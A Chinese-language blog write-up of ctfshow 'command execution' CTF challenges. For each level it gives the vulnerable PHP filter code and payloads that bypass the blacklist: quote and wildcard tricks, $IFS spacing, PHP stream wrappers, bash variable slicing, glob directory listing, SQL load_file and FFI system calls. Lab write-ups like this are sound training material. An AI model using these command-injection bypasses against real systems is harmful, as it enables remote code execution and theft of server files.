ctfshow web入门 命令执行

文章目录

    • web29
    • web30
    • web31
    • web32-35
    • web36
    • web37-38
    • web39
    • web40
    • web41
    • web42
    • web43
    • web44
    • web45
    • web46
    • web47-48
    • web49
    • web50-51
    • web52
    • web53
    • web54
    • web55
      • 姿势一
      • 姿势二
      • 姿势三
    • web56
    • web57
    • web58-65
      • 姿势一
      • 姿势二
    • web66
    • web67
    • web68
    • web69-70
    • web71
    • web72
    • web73
      • 姿势一
      • 姿势二
    • web74
    • web75-76
    • web77
    • web118
    • web119
      • 姿势一
      • 姿势二
    • web120
    • web121
    • web122
    • web124

web29


error_reporting(0);
if(isset($_GET['c'])){
     
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
     
        eval($c);
    }
    
}else{
     
    highlight_file(__FILE__);
}

payload:

?c=system("cat fl``ag.php");

能够代替cat的还有:tac|more|less|curl|nl|tail|sort|strings

web30


error_reporting(0);
if(isset($_GET['c'])){
     
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
     
        eval($c);
    }
    
}else{
     
    highlight_file(__FILE__);
}

payload:

?c=echo `nl fl'ag'.p'hp'`;

nl是Linux系统命令,功能和cat一样,但是能额外显示行号;此题过滤了flag和php,在他们之间插入’绕过。

web31


error_reporting(0);
if(isset($_GET['c'])){
     
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
     
        eval($c);
    }
    
}else{
     
    highlight_file(__FILE__);
}

payload:

?c=eval($_GET[1]);&1=system("cat flag.php");

此题通过get先传一个参数1,在后面执行cat flag.php的命令是不会被过滤的。

web32-35

web32题代码:


error_reporting(0);
if(isset($_GET['c'])){
     
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
     
        eval($c);
    }
    
}else{
     
    highlight_file(__FILE__);
}

由于这题过滤了;和(),因此去掉payload中的括号,用?>代替; ,

payload:

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

回显出base64加密的字符串,解密后得到flag

web36


error_reporting(0);
if(isset($_GET['c'])){
     
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
     
        eval($c);
    }
    
}else{
     
    highlight_file(__FILE__);
}

这题新增了一个0-9的数字过滤,只需要把上面payload里的参数1改成a就可以了。

payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web37-38


//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
     
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
     
        include($c);
        echo $flag;
    
    }
        
}else{
     
    highlight_file(__FILE__);
}

payload:

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

这题用data伪协议,base64加密的字符串就是要执行的命令,以此绕过flag过滤。

web39


//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
     
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
     
        include($c.".php");
    }
        
}else{
     
    highlight_file(__FILE__);
}

这题和上题的区别在于会自动添加.php的后缀,可以利用伪协议,但是因为过滤了flag,所以只能用data:

?c=data://text/plain,

相当于执行了语句:.php,因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用。

web40


if(isset($_GET['c'])){
     
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
     
        eval($c);
    }
        
}else{
     
    highlight_file(__FILE__);
}

这题过滤的太狠了,但是过滤的是中文的括号,并不是英文的,因此要用到以下几个函数:
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中当前元素的值
scandir():获取目录下的文件
array_reverse():将数组逆序排列
next():函数将内部指针指向下一元素,并输出

首先查看当前目录下的文件名:

?c=print_r(scandir(pos(localeconv())));

ctfshow web入门 命令执行_第1张图片
接着用array_reverse()和next(),使指针指向flag.php,并用highlight_file()输出,得到flag。
payload:

?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

web41

还没有学习脚本,日后一定补上。

web42


if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
     
    highlight_file(__FILE__);
}

payload:

?c=ls;
?c=cat flag.php;

补:此题代码的system()中有" >/dev/null 2>&1",他的作用是将程序的标准输出和错误输出都存到/dev/null(舍弃掉)。

web43


if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
     
        system($c." >/dev/null 2>&1");
    }
}else{
     
    highlight_file(__FILE__);
}

过滤了; ,用 || 代替,cat被过滤,姿势在下面列出:
payload:

?c=ls||
?c=ca't' flag.php||
?c=ca``t flag.php||
?c=tac flag.php||
?c=nl flag.php||
?c=more flag.php||
?c=less flag.php||

web44


if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
     
        system($c." >/dev/null 2>&1");
    }
}else{
     
    highlight_file(__FILE__);
}

这题比上题多过滤了一个flag,也是一个很简单的绕过,绕过姿势可以参考上一题的。
payload:

?c=tac fl``ag.php||

web45


if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
     
        system($c." >/dev/null 2>&1");
    }
}else{
     
    highlight_file(__FILE__);
}

这题比上题多过滤了个空格,有多种姿势绕过
payload:

?c=tac$IFS$9fl'ag'.php||
?c=tac<fl'ag'.php||
?c=tac${
     IFS}fl'ag'.php||
?c=tac<>fl'ag'.php||

web46


if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
     
        system($c." >/dev/null 2>&1");
    }
}else{
     
    highlight_file(__FILE__);
}

payload:

?c=tac%09fla?.php||
?c=tac%09fla?.php%0a

%0a是换行符,能代替分号
虽然这题过滤了数字,但因为%09是一个字符,属于编码,在带入服务器时会进行解码,所以并没有被过滤

web47-48


if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
     
        system($c." >/dev/null 2>&1");
    }
}else{
     
    highlight_file(__FILE__);
}

payload:

?c=tac%09fla?.php||
?c=nl%09fla?.php%0a

web49


if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
     
        system($c." >/dev/null 2>&1");
    }
}else{
     
    highlight_file(__FILE__);
}

payload:

?c=tac%09fl?g.php||

web50-51


if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
     
        system($c." >/dev/null 2>&1");
    }
}else{
     
    highlight_file(__FILE__);
}

payload:

?c=nl<>fla\g.php||
?c=nl<>fla'g'.php||

web52


if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
     
        system($c." >/dev/null 2>&1");
    }
}else{
     
    highlight_file(__FILE__);
}

这题过滤了<>,那么就用${IFS}代替空格,但是,用命令

?c=nl${
     IFS}fl\ag.php||

后,发现并没有flag
ctfshow web入门 命令执行_第2张图片
用命令:

?c=ls${
     IFS}../../../||

成功在根目录下找到flag
在这里插入图片描述

payload:

?c=nl${
     IFS}../../../fla\g||

web53


if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)){
     
        echo($c);
        $d = system($c);
        echo "
"
.$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }

ls后发现有readflag和flag.php两个文件,我直接预判一手,读readflag,没想到真正的flag在flag.php里。这波啊,这波是群主预判了我的预判

payload:

?c=nl${
     IFS}fl\ag.php%0a

web54


if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\, $c)){
     
        system($c);
    }
}else{
     
    highlight_file(__FILE__);
}

这过滤,只能说nb,虽然ban了这么多查看命令,但我还有paste(手动滑稽),最神奇的是,这题通配符又能用了。
payload:

?c=paste${
     IFS}fl?g.php%0a

web55


// 你们在炫技吗?
if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\, $c)){
     
        system($c);
    }
}else{
     
    highlight_file(__FILE__);
}

这题太狠了,过滤了所有字母,正好看了大佬 bfengj 的博客,学到了三种姿势。

姿势一

/bin目录下存放着许多执行的命令,例如:cat、ls、cp、base64、more、su,这题可以利用/bin/base64将flag.php加密后输出,虽然过滤了字母,但是可以用64和通配符来构造
payload:

?c=/???/????64 ????????

代表的是/bin/base64 flag.php

姿势二

这次是利用/usr/bin目录,这个目录下的命令主要有diff、zip、last、less、make、passwd、bzip2
利用的是bzip2,将flag.php压缩后,访问url/flag.php.bz2就能把压缩的文件下载下来。
payload:

?c=/???/???/????2 ????????

代替的是/usr/bin/bzip2 flag.php

姿势三

应该是我的操作有问题,一直不能得到flag,日后一定补上。

web56

和web55的姿势三一样的操作,日后一定补上

web57


// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
     
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
     
        system("cat ".$c.".php");
    }
}else{
     
    highlight_file(__FILE__);
}

这题提示flag在36.php中,但是,他把数字过滤掉了,这就不得不说到linux中的运算符$(())的使用:

只要括号中的运算符、表达式符合C语言运算规则,都可用在$((exp))中,甚至是三目运算符。

另外,还有个关于取反的知识点:

如果b=~a,那么a+b=-1

下面用例子来说明(可以在Linux上实际操作一下,会理解的更好):

首先,如果直接echo 1+1,那么出来的不会是2,但是,在echo $((1+1))后,出现了2:
在这里插入图片描述
因此,$((表达式))能输出括号内表达式的最终结果,而echo $(())会返回0,那么对$(())取反echo $((~$(()))),就会返回-1
在这里插入图片描述
这题flag在36.php里,那么就必须要得到36这个结果,对36取反就是-37,因为

$((~$(())))的结果是-1
$((  $((~$(())))  $((~$(())))  ))的结果是-2,相当于-1-1

ctfshow web入门 命令执行_第3张图片

所以将他们放一起就默认是相加,那么只需要放37个$((~$(())))就能得到-37的结果,再对它进行取反,最终得到36

root@baba:~# echo $(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))
-37

root@baba:~# echo $((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
36

payload:

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58-65


// 你们在炫技吗?
if(isset($_POST['c'])){
     
        $c= $_POST['c'];
        eval($c);
}else{
     
    highlight_file(__FILE__);
}

这题ban了system函数

姿势一

同web40,post提交参数:

c=print_r(next(array_reverse(scandir(pos(localeconv())))));
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

姿势二

c=show_source('flag.php');

web66


// 你们在炫技吗?
if(isset($_POST['c'])){
     
        $c= $_POST['c'];
        eval($c);
}else{
     
    highlight_file(__FILE__);
}

好家伙,估计群主也没想到show_source()能一把梭,这题直接就不把flag放在flag.php了
payload:

c=print_r(scandir('/'));
c=highlight_file('/flag.txt');

web67


// 你们在炫技吗?
if(isset($_POST['c'])){
     
        $c= $_POST['c'];
        eval($c);
}else{
     
    highlight_file(__FILE__);
}

这题相比于上题多过滤了print_r()函数,可以使用var_dump()函数代替
payload:

c=var_dump(scandir('/'));
c=highlight_file('/flag.txt');

web68

好家伙,这题把highlight_file()函数给ban了,看不到源码

c=var_dump(scandir('/'));
c=include('/flag.txt');

虽然把print_r()函数ban了,但是这题没有ban include,可以利用文件包含漏洞读取flag.txt

web69-70

var_dump()函数被ban,那就用var_export()函数

c=var_export(scandir('/'));
c=include('/flag.txt');

web71


error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
     
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
     
    highlight_file(__FILE__);
}
?>
你要上天吗?

这题我上来先试了c=var_export(scandir('/'));发现输出的一大堆问号,原来是源码中用函数将缓冲区的所有字符全部替换为问号,那么可以用exit()/die()提前结束,这样就不会将字符替换为问号

payload:

c=var_export(scandir('/'));exit();
c=include("/flag.txt");die()

web72

暂时不会,日后一定补上。

web73

姿势一

没有网站源码,继续用web71的方法,发现仍然可行
payload:

c=var_export(scandir('/'));exit(); //发现根目录下有flagc.txt
c=include('/flagc.txt');exit();

姿势二

看了群主大佬给的hint,可以利用数组遍历的方法输出根目录下的所有文件,具体payload如下:

c=?><?php    //前面的?>用来闭合<?
	$a=new DirectoryIterator("glob:///*");   //php使用glob遍历文件夹
	foreach($a as $f) 
	{
     
		echo($f->__toString().' ');
	} 
	exit(0);
?>

web74

这题又ban了scandir()函数,只能用上一题的姿势二
payload:

c=?><?php 
	$a=new DirectoryIterator("glob:///*");
	foreach($a as $f) 
	{
      
		echo($f->__toString().'  '); 
	} 
	exit();
?>
//flag在 /flagx.txt
c=include('/flagx.txt');exit();

web75-76

这题连include()都用不了,还是看师傅bfengj的博客,才知道要用sql语句来读取数据库文件
payload:

c=?><?php 
	$a=new DirectoryIterator("glob:///*");
	foreach($a as $f)
	{
     
		echo($f -> __toString().'  ');
	}
	exit();
?>
//web75 flag在 /flag36.txt;web76 flag在 /flag36d.txt

c=
try {
     
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');

    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
     
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
     
    echo $e->getMessage();
    exit(0);
}
exit(0);
//我看不太懂,只能先抄个答案了

web77

这题在题干中说到php7.4,可以想到FFI来绕过

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

通过FFI,可以实现调用system函数,从而将flag直接写入一个新建的文本文件中,然后访问这个文本文件,获得flag
payload:

//首先是熟悉的确定flag位置和名称
c=?><?php 
	$a=new DirectoryIterator("glob:///*"); 
	foreach($a as $f) 
	{
      
		echo($f->__toString().'  ');
	} 
	exit();
?>
//FFI调用system函数
c=
$ffi=FFI :: cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);
exit();

web118

现在看到不是群主出的题就很慌,进去一看,果然,把所有的小写字母加数字还有一些字符都ban了,这题flag在flag.php中,要不然还可以用一用前面$(())的方法。看了别的师傅的wp,可以用Linux中内置的bash变量来做,具体知识可以参考:常见 Bash 内置变量介绍(可以去Linux命令行里自己实际操作下,加深理解)

root@baba:~# echo ${PWD}
/root
root@baba:~# echo ${PWD:1:1}   //表示从第2(1+1)个字符开始的一个字符
r
root@baba:~# echo ${PWD:0:1}   //表示从第1(0+1)个字符开始的一个字符
/
root@baba:~# echo ${PWD:~0:1}  //表示从最后一个字符开始的一个字符
t
root@baba:~# echo ${PWD:~A}    //字母代表0
t

在这里插入图片描述

发现网站报错的路径是/var/www/html,那么${PWD:~A}的结果就应该是’ l ‘,因为${PATH:~A}的结果是’ n ',那么他们拼接在一起正好是nl,能够读取flag,因为通配符没有被过滤,所以可以用通配符代替flag.php

payload:

code=${
     PATH:~A}${
     PWD:~A} ????.???

如果是在框中输就去掉code=

web119

这题经过测试,比上题多过滤了path,必须想其他方法来构造

姿势一

可以构造出/bin/base64 flag.php,只需要/和4两个字符就行,其他的可以用通配符代替。
/很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的${#SHLVL}绕过:

SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。

只需要${PWD::${SHLVL}},结果就是/

root@baba:~# echo ${PWD::${SHLVL}}
/

还有一个4的问题,可以用${#RANDOM},在Linux中,${#xxx}显示的是这个值的位数,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4.

root@baba:~# echo ${#RANDOM}
4
root@baba:~# echo ${#RANDOM}
4
root@baba:~# echo ${#RANDOM}
5
root@baba:~# echo ${#RANDOM}
3
root@baba:~# echo ${#RANDOM}
5
root@baba:~# echo ${#RANDOM}
4

payload:

code=${
     PWD::${
     #SHLVL}}???${
     PWD::${
     #SHLVL}}?????${
     #RANDOM} ????.???

姿势二

可以构造/bin/cat flag.php,需要t和/,${HOME}默认是/root,所以需要得到他的最后一个字母,看hint,容器的hostname应该是5个字母,所以${#HOSTNAME}可以从第5位开始,1还是用${#SHLVL}代替
payload:

code=${
     PWD::${
     #SHLVL}}???${
     PWD::${
     #SHLVL}}??${
     HOME:${
     #HOSTNAME}:${
     #SHLVL}} ????.???

web120


error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
     
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
         
        if(strlen($code)>65){
     
            echo '
'.'you are so long , I dont like '.'
'
; } else{ echo '
'.system($code).'
'
; } } else{ echo '
evil input
'
; } } ?>

方法同上一题姿势二
payload:

code=${
     PWD::${
     #SHLVL}}???${
     PWD::${
     #SHLVL}}??${
     HOME:${
     #HOSTNAME}:${
     #SHLVL}} ????.???

web121


error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
     
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
         
        if(strlen($code)>65){
     
            echo '
'.'you are so long , I dont like '.'
'
; } else{ echo '
'.system($code).'
'
; } } else{ echo '
evil input
'
; } } ?>

这题最关键的SHLVL被过滤了,可以用${#?}代替

root@baba:/var/www/html# echo ${#?}
1

由于上一条命令是成功执行的,所以返回0,长度是1,能完美代替${#SHLVL}。其他地方没有变化
payload:

code=${
     PWD::${
     #?}}???${
     PWD::${
     #?}}?????${
     #RANDOM} ????.???

web122


error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
     
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){
         
        if(strlen($code)>65){
     
            echo '
'.'you are so long , I dont like '.'
'
; } else{ echo '
'.system($code).'
'
; } } else{ echo '
evil input
'
; } } ?>

这题在上题的基础上又过滤了#和PWD,PWD的绕过很简单,用HOME就可以,而#,就要用到很nb的$?

$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)

在执行命令前,先用,可以使下一次$?的报错结果为1,4的话可以用RANDOM随机得到
payload:

code=<A;${
     HOME::$?}???${
     HOME::$?}?????${
     RANDOM::$?} ????.???

web124


error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
     
    show_source(__FILE__);
}else{
     
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
     
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
     
        if (preg_match('/' . $blackitem . '/m', $content)) {
     
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
     
        if (!in_array($func, $whitelist)) {
     
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

这题只能用他给的函数,且限制了传入的值的长度为80,那么可以传入一个get参数,然后再传入想用的payload,需要编码绕过,首先,注意白名单中的一些函数:

base_convert(number,frombase,tobase):在任意进制之间转换数字
dechex():把十进制数转换为十六进制数
hex2bin():把十六进制值的字符串转换为 ASCII 字符

先用无绕过的方式写出payload:

?c=$_GET[a]($_GET[b]);&a=system&b=("cat flag.php")

由于[]被ban了,可以用{}代替。因为hex2bin函数被ban,要想使用它,必须要构造出他的其他进制形式,然后转换成hex2bin函数,那么base_convert()函数就发挥作用了,可以构造$pi=base_convert(37907361743,10,36),这里$pi就是hex2bin函数,则payload前半部分绕过_GET的就能出来了:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));

后面依次构造就可以了:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{
     pi}($$pi{
     abs})&pi=system&abs=cat flag.php;

有些小的细节也需要注意,例如cat flag.php两边不能加上双引号和小括号,因为在前面已经构造好了

到这里,命令执行就告一段落了,也是挺有成就感的,毕竟这是自己的第一篇博客,也是我在ctfshow上第一个做完的分区。

另外,靠着刷题也学了不少知识,不得不说,师傅们tql,我抄答案都能学到这么多,感谢!!希望能早日成功上岸当菜鸡(手动滑稽)

你可能感兴趣的:(CTF,安全,php)